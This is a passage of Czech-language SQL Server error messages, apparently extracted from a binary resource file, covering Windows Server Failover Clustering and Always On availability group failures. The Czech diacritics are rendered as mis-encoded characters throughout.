em oznamov�n� %2!s! (k�d chyby %3!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�Popisova
 zmny slu~by Windows Server Failover Clustering (WSFC) je neplatn�, proto~e port pro oznamov�n� WSFC nebyl jeat vytvoYen nebo byl ukon
en. VytvoYte nov� port pro oznamov�n� WSFC a operaci opakujte.

�NepodaYilo se zaregistrovat dala� ozn�men� o zmn�ch slu~by Windows Server Failover Clustering (WSFC) s filtrem pro oznamov�n� %1!s! a kl�
em oznamov�n� %2!s! (k�d chyby %3!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

lNepodaYilo se pYijmout ozn�men� o zmn�ch slu~by Windows Server Failover Clustering (WSFC) (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�Spuatn� naslouchac�ho procesu pro zmny slu~by Windows Server Failover Clustering (WSFC) se nezdaYilo (k�d chyby SQLOS %1!s!). Syst�m SQL Server pravdpodobn nem� dostatek prostYedko ke spuatn� naslouchac�ho procesu WFSC. Pokud tento stav potrv�, bude pravdpodobn nutn� tuto instanci syst�mu SQL Server restartovat.

tNepodaYilo se otevY�t koYenov� kl�
 registru slu~by Windows Server Failover Clustering (WSFC) (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se otevY�t kl�
 registru prostYedku slu~by Windows Server Failover Clustering (WSFC) %1!s! (k�d chyby %2!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

xNepodaYilo se otevY�t podkl�
 registru slu~by Windows Server Failover Clustering (WSFC) %1!s! (k�d chyby %2!s!). NadYazen� kl�
 je koYenov� kl�
 clusteru %3!s!. Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Pokud byla odpov�daj�c� skupina dostupnosti odpojena, jedn� se o o
ek�vanou chybu. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se vytvoYit podkl�
 registru slu~by Windows Server Failover Clustering (WSFC) %1!s! (k�d chyby %2!s!). NadYazen� kl�
 je koYenov� kl�
 clusteru %3!s!. Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se odstranit podkl�
 registru slu~by Windows Server Failover Clustering (WSFC) %1!s! (k�d chyby %2!s!). NadYazen� kl�
 je koYenov� kl�
 clusteru %3!s!. Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se na
�st hodnotu registru slu~by Windows Server Failover Clustering (WSFC) odpov�daj�c� n�zvu %1!s! (k�d chyby %2!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se nastavit hodnotu registru slu~by Windows Server Failover Clustering (WSFC) odpov�daj�c� n�zvu %1!s! (k�d chyby %2!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

tNepodaYilo se vytvoYit v�
et hodnoty registru slu~by Windows Server Failover Clustering (WSFC) (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se odstranit hodnotu registru slu~by Windows Server Failover Clustering (WSFC) odpov�daj�c� n�zvu %1!s! (k�d chyby %2!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se z�skat popisova
 v�
tu objektu slu~by Windows Server Failover Clustering (WSFC) pro objekty typu %1!s! (k�d chyby %2!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se vytvoYit v�
et objekto slu~by Windows Server Failover Clustering (WSFC) (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo je neplatn� zadan� popisova
 v�
tu objekto clusteru. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

pReplika skupiny dostupnosti ji~ na uzlu %1!s! existuje. Ka~d� uzel mo~e obsahovat pouze jednu repliku skupiny dostupnosti. Pokud chcete hostovat novou repliku, vyberte jin� uzel.

�Odstrann� repliky skupiny dostupnosti %1!s! ze skupiny dostupnosti %2!s! se nezdaYilo. Skupina dostupnosti neobsahuje repliku se zadan�m n�zvem. Zkontrolujte n�zvy skupiny dostupnosti a repliky a operaci opakujte.

`Nejde naj�t polo~ku mapov�n� instance syst�mu SQL Server na uzel clusteru pro instanci syst�mu SQL Server %1!s! a ID skupiny %2!s!. Zadan� n�zev instance syst�mu SQL Server je neplatn� nebo neexistuje odpov�daj�c� polo~ka registru. Zkontrolujte n�zev instance syst�mu SQL Server a operaci opakujte.

DSkupina dostupnosti %1!s! ji~ existuje. PY�
inou t�to chyby mohou b�t dY�ve nezdaYen� operace CREATE AVAILABILITY GROUP 
i DROP AVAILABILITY GROUP. Pokud je zadan� n�zev skupiny dostupnosti spr�vn�, zkuste skupinu dostupnosti vyYadit a pot� opakujte operaci CREATE AVAILABILITY GROUP.

Polo~ka mapov�n� jm�na na ID je pro skupinu dostupnosti %1!s! neplatn�. Bin�rn� hodnota by mla obsahovat ID prostYedku, ID skupiny a jejich odpov�daj�c� d�lky ve znac�ch. N�zev skupiny dostupnosti je pravdpodobn nespr�vn� nebo jsou poakozen� konfigura
n� data skupiny dostupnosti. Pokud tento probl�m potrv�, bude pravdpodobn nutn� skupinu dostupnosti vyYadit a vytvoYit znovu.

4Nejde naj�t n�zev skupiny dostupnosti pro polo~ku mapov�n� n�zvu na ID pro skupinu dostupnosti %1!s!. N�zev skupiny dostupnosti je mo~e b�t nespr�vn�. Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo skupina dostupnosti v tomto clusteru Windows Server Failover Cluster neexistuje. Zkontrolujte, zda skupina dostupnosti existuje a zda je jej� n�zev spr�vn�, a operaci opakujte.

�Datab�zi %1!s! nelze pYidat do skupiny dostupnosti %2!s!, proto~e datab�ze se shodn�m n�zvem ji~ ve skupin dostupnosti existuje. Zkontrolujte, zda jsou zadan� n�zvy datab�ze a skupiny dostupnosti spr�vn�.

�Repliku %1!s! nelze pYidat do skupiny dostupnosti %2!s!, proto~e replika se shodn�m n�zvem ji~ ve skupin dostupnosti existuje. Zkontrolujte, zda jsou zadan� n�zvy repliky a skupiny dostupnosti spr�vn�.

8Nepovedlo se z�skat stav uzlu slu~by Windows Server Failover Clustering (WSFC) pro m�stn� uzel WSFC (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

dRepliku dostupnosti %1!s! skupiny dostupnosti %2!s! nelze v t�to instanci syst�mu SQL Server uv�st do online re~imu. Jin� replika stejn� skupiny dostupnosti u~ v uzlu v online je. Ka~d� uzel mo~e hostovat jenom jednu repliku z jedn� skupiny dostupnosti, bez ohledu na po
et instanc� syst�mu SQL Server v uzlu. Opravte konfiguraci skupiny dostupnosti pomoc� pY�kazu ALTER AVAILABILITY GROUP. Potom, kdy~ u~ druh� replika nebude v tomto uzlu hostov�na, restartujte tuto instanci syst�mu SQL Server a uvete m�stn� repliku skupiny dostupnosti do online re~imu.

�NepodaYilo se vytvoYit prostYedek slu~by Windows Server Failover Clustering (WSFC) s n�zvem %1!s!. ProstYedek slu~by WSFC se zadan�m n�zvem ji~ existuje. Opakujte operaci s n�zvem prostYedku, kter� je v clusteru jedine
n�.

THodnota kontroln�ho sou
tu (CRC) generovan� pro na
ten� konfigura
n� data skupiny dostupnosti se neshoduje s hodnotou ulo~enou s daty pro skupinu dostupnosti s ID %1!s!. Pokud je toto skupina dostupnosti WSFC, data skupiny dostupnosti v �lo~iati WSFC byla pravdpodobn upravena mimo syst�m SQL Server nebo jsou poruaen�. Pokud tento probl�m potrv�, bude pravdpodobn nutn� skupinu dostupnosti vyYadit a vytvoYit znovu.

 ID skupiny dostupnosti %1!s! v m�stn�m �lo~iati je nekonzistentn� s ID skupiny dostupnosti v �lo~iati dat slu~by Windows Server Failover Clustering (WSFC). Skupina dostupnosti byla pravdpodobn vyYazena a znovu vytvoYena, kdy~ byla instantce syst�mu SQL Server v re~imu offline nebo kdy~ byl uzel WSFC mimo provoz. Chcete-li tuto chybu vyYeait, vyYate skupinu dostupnosti a znovu ji vytvoYte.

�Slu~ba Windows Server Failover Clustering (WSFC) rozpoznala, ~e prostYedek skupiny dostupnosti s ID %1!s! byl online, kdy~ skupina dostupnosti nebyla ve skute
nosti online. Pokus o synchronizaci stavu prostYedku WSFC se skupinou dostupnosti se nezdaYil (k�d chyby %2!s!). Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se nastavit m�stn� uzel jako jedin�ho upYednostHovan�ho vlastn�ka skupiny slu~by Windows Server Failover Clustering (WSFC) s ID %1!s! (k�d chyby %2!s!). Skupina WSFC pravdpodobn nen� ve stavu, ve kter�m nelze pYijmout po~adavek. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

ProstYedek slu~by Windows Server Failover Clustering (WSFC) (ID %1!s!) nelze nyn� uv�st do re~imu online. ProstYedek WSFC pravdpodobn nen� ve stavu, ve kter�m lze pYijmout po~adavek. Po
kejte, dokud prostYedek WSFC nebude ve stavu termin�lu, a operaci opakujte. Informace o t�to chyb naleznete v informac�ch o k�du chyby 5023 v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�ProstYedek slu~by Windows Server Failover Clustering (WSFC) (ID %1!s!) nelze uv�st do online re~imu. (k�d chyby %2!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� v aktu�ln�m stavu nelze pYistupovat nebo mo~n� prostYedek WSFC nen� ve stavu, ve kter�m jde po~adavek na pYechod do online re~imu pYijmou. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�Skupinu slu~by Windows Server Failover Clustering (WSFC) (ID 
i n�zev %1!s!) nelze nyn� vyYadit. Skupina WSFC nen� ve stavu, ve kter�m lze pYijmout po~adavek. Po
kejte, dokud skupina WSFC nebude ve stavu termin�lu, a operaci opakujte. Informace o t�to chyb naleznete v informac�ch o k�du chyby 5023 v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

dNepodaYilo se vytvoYit v�
et registru slu~by Windows Server Failover Clustering (WSFC) (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

dNelze ur
it existenci dat skupiny dostupnosti pro skupinu dostupnosti %1!s! v �lo~iati slu~by Windows Server Failover Clustering (WSFC). M�stn� uzel WSFC je pravdpodobn mimo provoz nebo se dY�ve nezdaYily operace CREATE AVAILABILITY GROUP 
i DROP AVAILABILITY GROUP. Chcete-li vy
istit dY�ve nezdaYen� operace, pou~ijte pY�kaz DROP AVAILABILITY GROUP. PYed optovn�m proveden�m operace ovYte, zda je m�stn� uzel WSFC spuatn�.

V �lo~iati dat WSFC nelze naj�t konfigura
n� data pro skupinu dostupnosti s ID prostYedku slu~by Windows Server Failover Clustering (WSFC) %1!s!. Skupina dostupnosti mohla b�t vyYazena nebo se dY�ve nezdaYily operace CREATE AVAILABILITY GROUP 
i DROP AVAILABILITY GROUP. Chcete-li pYed opakov�n�m aktu�ln� operace vy
istit dY�ve nezdaYen� operace, pou~ijte pY�kaz DROP AVAILABILITY GROUP.

�Nejde 
�st trvalou konfiguraci skupiny dostupnosti Always On s odpov�daj�c�m ID prostYedku %1!s!. Trval� konfigurace je vytvoYen� syst�mem SQL Server vyaa� verze hostuj�c�m prim�rn� repliku dostupnosti. Upgradujte m�stn� instanci syst�mu SQL Server, aby bylo mo~n� pYemnit m�stn� repliku dostupnosti na sekund�rn� repliku.

(ID skupiny dostupnosti %1!s! v m�stn�m �lo~iati neexistuje v �lo~iati dat slu~by Windows Server Failover Clustering (WSFC). Skupina dostupnosti mohla b�t vyYazena, aktu�ln� uzel WSFC vaak nebyl upozornn. Chcete-li tuto chybu vyYeait, znovu vytvoYte skupinu dostupnosti.

�Datab�zi %1!s! nelze odebrat ze skupiny dostupnosti %2!s!. Tato datab�ze nepatY� do skupiny dostupnosti.

�Skupinu slu~by Windows Server Failover Clustering (WSFC) (ID %1!s!) nelze nyn� uv�st do re~imu online. Skupina WSFC nen� ve stavu, ve kter�m lze pYijmout po~adavek. Po
kejte, dokud skupina WSFC nebude ve stavu termin�lu, a operaci opakujte. Informace o t�to chyb naleznete v informac�ch o k�du chyby 5023 v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�Odstrann� hodnoty registru slu~by Windows Server Failover Clustering (WSFC) odpov�daj�c� n�zvu %1!s! se nezdaYilo, proto~e polo~ka registru se zadan�m n�zvem neexistuje. Zkontrolujte, zda je n�zev hodnoty registru spr�vn�, a opakujte operaci.

�Skupinu slu~by Windows Server Failover Clustering (WSFC) (ID 
i n�zev %1!s!) nelze vyYadit, proto~e skupina slu~by WSFC neexistuje. Zadejte platn� ID nebo n�zev skupiny slu~by WSFC a opakujte operaci. Informace o t�to chyb naleznete v informac�ch o k�du chyby 5013 v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�Odstrann� polo~ky mapov�n� n�zvu instance syst�mu SQL Server na n�zev uzlu slu~by Windows Server Failover Clustering pro m�stn� repliku dostupnosti skupiny dostupnosti %1!s! se nezdaYilo. PYi operaci doalo k chyb syst�mu SQL Server %2!s! a operace byla pYeruaena. Podrobnosti o t�to chyb syst�mu SQL Server a opravn�ch akc�ch naleznete v protokolu chyb syst�mu SQL Server.

\Zruaen� skupiny slu~by Windows Server Failover Clustering odpov�daj�c� skupin dostupnosti %1!s! se nezdaYilo. PYi operaci doalo k chyb syst�mu SQL Server %2!s! a operace byla pYeruaena. Podrobnosti o t�to chyb syst�mu SQL Server a opravn�ch akc�ch naleznete v protokolu chyb syst�mu SQL Server.

NepodaYilo se z�skat n�zev m�stn�ho clusteru Windows Server Failover Cluster (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se z�skat prostYedek kvora clusteru (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

,Rozhran� API ovl�dac�ho prvku clusteru slu~by Windows Server Failover Clustering (WSFC) vr�tilo k�d chyby %1!s!. Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se naj�t vlastnost DWORD (n�zev vlastnosti %1!s!) prostYedku slu~by Windows Server Failover Clustering (WSFC) (k�d chyby %2!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�Zna
ku Paxos se nepodaYilo na
�st z podregistru slu~by Windows Server Failover Clustering (WSFC). Podregistr slu~by WSFC je pravdpodobn b�t poakozen. Zkontrolujte, zda hodnota registru HKLM\Cluster\PaxosTag v podregistru slu~by WSFC existuje.

PYi anal�ze zna
ky Paxos z podregistru slu~by Windows Server Failover Clustering (WSFC) doalo k chyb. Podregistr slu~by WSFC je pravdpodobn b�t poakozen. Zkontrolujte, zda je hodnota HKLM\Cluster\PaxosTag ve form�tu uveden�m v 
l�nku KB 947713 znalostn� b�ze Microsoft Knowledge Base (Dosledky pou~it� pYep�na
e /forcequorum pro spuatn� clusterov� slu~by v syst�mu Windows Server 2008).

�NepodaYilo se ur
it, zda se slu~ba Windows Server Failover Clustering (WSFC) nach�z� ve stavu Force Quorum. Po~adovan� oprava hotfix, KB 2494036, pravdpodobn nen� v syst�mu Windows Server 2008 nebo Windows Server 2008 R2 nainstalov�na. Dala� informace naleznete v 
l�nku KB 2494036 znalostn� b�ze Microsoft Knowledge Base (Je k dispozici oprava hotfix umo~Huj�c� konfigurovat uzel clusteru, kter� nem� hlasy kvora v syst�mu Windows Server 2008 a Windows Server 2008 R2).

�Skupina dostupnosti %1!s! nebo jej� m�stn� replika dostupnosti neexistuj�. Zkontrolujte, zda je zadan� n�zev skupiny dostupnosti spr�vn� a zda je m�stn� replika dostupnosti pYipojena ke skupin dostupnosti, a potom operaci opakujte.

PSkupina dostupnosti s ID prostYedku slu~by Windows Server Failover Clustering %1!s! nebo jej� m�stn� replika dostupnosti neexistuj�. Zkontrolujte, zda je zadan� ID prostYedku dostupnosti spr�vn� a zda je m�stn� replika dostupnosti pYipojena ke skupin dostupnosti, a potom operaci opakujte.

�PYevzet� slu~eb pYi selh�n� skupiny dostupnosti %1!s! v m�stn� replice se nepovedlo, proto~e prostYedek skupiny dostupnosti nebyl z dovodu pYedchoz� chyby uveden do online re~imu. Chcete-li chybu identifikovat, zkontrolujte protokol chyb syst�mu SQL Server, protokoly clusteru a protokoly ud�lost� syst�mu. Informace o zobrazov�n� ud�lost� a protokolo clusteru syst�mu Windows Server Failover Clustering (WSFC) naleznete v dokumentaci syst�mu Windows Server.

Nepovedlo se vytvoYit prostYedek slu~by Windows Server Failover Clustering (WSFC) s n�zvem %1!s! a typem %2!s!. Typ prostYedku nen� v clusteru slu~by WSFC registrovan�. Cluster slu~by WSFC byl pravdpodobn zruaen a znovu vytvoYen. Chcete-li typ prostYedku v clusteru WSFC zaregistrovat, ve Spr�vci konfigurace syst�mu SQL Server zaka~te a znovu povolte skupiny dostupnosti Always On.

�Nelze vytvoYit skupinu dostupnosti pro skupinu dostupnosti %1!s!. Replika dostupnosti zadan� skupiny dostupnosti ji~ v t�to instanci syst�mu SQL Server existuje. Zkontrolujte, zda je zadan� n�zev skupiny dostupnosti spr�vn� a jedine
n�, a potom operaci opakujte. Chcete-li existuj�c� repliku dostupnosti odstranit, spusete pY�kaz DROP AVAILABILITY GROUP.

Skupin dostupnosti %1!s! se nepodaYilo vytvoYit potYebn� ud�losti pro mechanismus Lease slu~by WSFC. PYi z�sk�n� popisova
o pro ud�losti Lease vr�til syst�m Windows k�d chyby (%2!s!). VyYeate chybu syst�mu Windows a opakujte operaci skupiny dostupnosti.

�PYi odstrann� skupiny dostupnosti %1!s! doalo k chyb. PY�kaz DROP AVAILABILITY GROUP odstranil konfiguraci skupiny dostupnosti z m�stn�ch metadat. PYi pokusu o odstrann� t�to konfigurace z clusteru Windows Server Failover Clustering (WSFC) vaak doalo k chyb, proto~e spr�vce skupin dostupnosti Always On nen� online (chyba syst�mu SQL Server: %2!s!). Chcete-li konfiguraci skupiny dostupnosti z clusteru WSFC odstranit, zadejte pY�kaz znovu.

��lohu zpracov�n� akc� pro skupinu dostupnosti %2!s! nelze zaYadit do fronty (chyba SQL OS: 0x%1!s!). Instance syst�mu SQL Server pravdpodobn nem� dostatek zdrojo. Zkontrolujte protokol chyb syst�mu SQL Server a zjistte pY�
inu selh�n�. Opakujte operaci pozdji, a pokud tento stav potrv�, po~�dejte o pomoc spr�vce datab�ze.

�Rozhran� API slu~by Windows Server Failover Clustering (WSFC) nezbytn� pro skupiny dostupnosti se nen
etlo. Spr�vce repliky skupin dostupnosti Always On je v m�stn� instanci syst�mu SQL Server zak�zan�. Pokud je instance serveru spuatn� v edici syst�mu SQL Server, kter� podporuje skupiny dostupnosti Always On, mo~ete je povolit ve Spr�vci konfigurace syst�mu SQL Server.

�U skupiny dostupnosti %1!s! nelze prov�st pYevzet� slu~eb pYi selh�n� touto instanc� syst�mu SQL Server, proto~e pY�kaz pYevzet� slu~eb pYi selh�n� ji~ v m�stn� replice dostupnosti t�to skupiny dostupnosti 
ek� na vyY�zen�. Vy
kejte na dokon
en� 
ekaj�c�ho pY�kazu pYevzet� slu~eb pYi selh�n� a vydejte dala� pY�kaz v m�stn� replice dostupnosti t�to skupiny dostupnosti.

�Nelze vytvoYit skupinu dostupnosti s n�zvem %1!s!, proto~e ji~ existuje v syst�mov� tabulce.

Skupinu dostupnosti s n�zvem %1!s! nejde vytvoYit, proto~e jej� ID skupiny dostupnosti (ID: %2!s!) u~ existuje v syst�mov� tabulce.

�Skupinu dostupnosti s n�zvem %1!s! a ID repliky %2!s! nejde vytvoYit, proto~e toto ID u~ existuje v syst�mov� tabulce.

<ID datab�ze %1!s! nejde mapovat na ID datab�ze dostupnosti %2!s! v r�mci skupiny dostupnosti %3!s!. Tato datab�ze u~ je na skupinu dostupnosti mapov�na.

lID datab�ze %1!s! nejde mapovat na ID datab�ze dostupnosti %2!s! v r�mci skupiny dostupnosti %3!s!. Na tuto datab�zi dostupnosti je u~ mapov�na jin� m�stn� datab�ze (ID %4!s!).

�V syst�mov� tabulce nejde naj�t ID skupiny dostupnosti %1!s!.

�Spuatn� �lohy zpracov�n� ozn�men� o vypnut� pro m�stn� uzel slu~by Windows Server Failover Clustering (WSFC) se nezdaYilo (chyba SQL OS: %1!s!). Mo~n� pY�
iny: Nejsou dostupn� ~�dn� pracovn� vl�kna nebo nen� dostatek pamti. Zkontrolujte stav m�stn�ho uzlu slu~by WSFC. Pokud pot�~e potrvaj�, bude pravdpodobn nutn� restartovat instanci syst�mu SQL Server.

�U skupiny dostupnosti %1!s! nelze prov�st pYevzet� slu~eb pYi selh�n� touto instanc� syst�mu SQL Server. M�stn� replika dostupnosti je ji~ prim�rn� replikou skupiny dostupnosti. Chcete-li prov�st pYevzet� slu~eb pYi selh�n� t�to skupiny dostupnosti jinou instanc� syst�mu SQL Server, spusete pY�kaz pYevzet� slu~eb pYi selh�n� v dan� instanci syst�mu SQL Server. M�-li m�stn� instance syst�mu SQL Server hostit prim�rn� repliku skupiny dostupnosti, nen� po~adov�na ~�dn� akce.

�Skupinu slu~by Windows Server Failover Clustering (WSFC) (ID %1!s!) nelze nyn� uv�st do re~imu online.  Skupina slu~by WSFC se pYesunuje do jin�ho uzlu.  Po
kejte, dokud skupina WSFC nedokon
� operaci pYesunut�, a opakujte pY�kaz.  Informace o t�to chyb naleznete v informac�ch o k�du chyby 5908 v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

XReplika dostupnosti pro skupinu dostupnosti %1!s! v t�to instanci syst�mu SQL Server se nemo~e st�t prim�rn� replikou, proto~e prob�h� vyYazov�n� skupiny dostupnosti.

Replika dostupnosti pro skupinu dostupnosti %1!s! v t�to instanci syst�mu SQL Server se nemo~e st�t prim�rn� replikou, proto~e cluster slu~by WSFC byl spuatn v re~imu Force Quorum. Zkuste prov�st vynucen� ru
n� pYevzet� slu~eb pYi selh�n� (s mo~nou ztr�tou dat).

@Operace v m�stn� replice dostupnosti skupiny dostupnosti %1!s! se nezdaYila. M�stn� kopie konfigurace skupiny dostupnosti neexistuje nebo nebyla inicializov�na. Zkontrolujte, zda skupina dostupnosti existuje a zda je m�stn� kopie konfigurace inicializov�na, a potom operaci opakujte.

Doalo k pokusu o nastaven� stavu mapov�n� datab�ze, kdy ID m�stn� datab�ze %1!s! nen� mapov�no na ~�dnou skupinu dostupnosti.

NepodaYilo se prov�st operaci datab�ze %1!s! v datab�zi %2!s! (ID %3!s!) ve skupin dostupnosti %4!s!. Pro tuto operaci je pravdpodobn datab�ze v nespr�vn�m stavu. Pokud pot�~e potrvaj�, bude pravdpodobn nutn� restartovat instanci syst�mu SQL Server.

�NepodaYilo se napl�novat nebo spustit operaci datab�ze %1!s! v datab�zi %2!s! (ID datab�ze: %3!s!) ve skupin dostupnosti %4!s! (Chyba SQL OS: %5!s!). Instance syst�mu SQL Server pravdpodobn nem� dostatek prostYedko k proveden� operace datab�ze. Pokud pot�~e potrvaj�, bude pravdpodobn nutn� restartovat instanci serveru.

�Operace %1!s! v datab�zi %2!s! (ID datab�ze: %3!s!) ve skupin dostupnosti %4!s! se nezdaYila s chybou syst�mu SQL Server %5!s! (Podrobnosti o chyb: %6!s!). Operace byla vr�cena zpt. Dala� informace naleznete v pYedchoz�ch chybov�ch zpr�v�ch v protokolu chyb syst�mu SQL Server. Pokud pot�~e potrvaj�, bude pravdpodobn nutn� restartovat instanci syst�mu SQL Server.

�Datab�zi %1!s! nelze pYipojit ke skupin dostupnosti %2!s!. Zadan� datab�ze nepatY� do t�to skupiny dostupnosti. OvYte n�zvy datab�ze a skupiny dostupnosti, zadejte spr�vn� n�zvy a pY�kaz opakujte.

�Skupinu dostupnosti %1!s! nelze uv�st do re~imu online. M�stn� instance nebyla pYi pYechodu skupiny dostupnosti do re~imu offline pYedchoz� prim�rn� replikou. Nkter� datab�ze nejsou synchronizov�ny a nebyl vyd�n pY�kaz vynucen�ho pYevzet� slu~eb pYi selh�n� v m�stn� replice dostupnosti. Chcete-li ozna
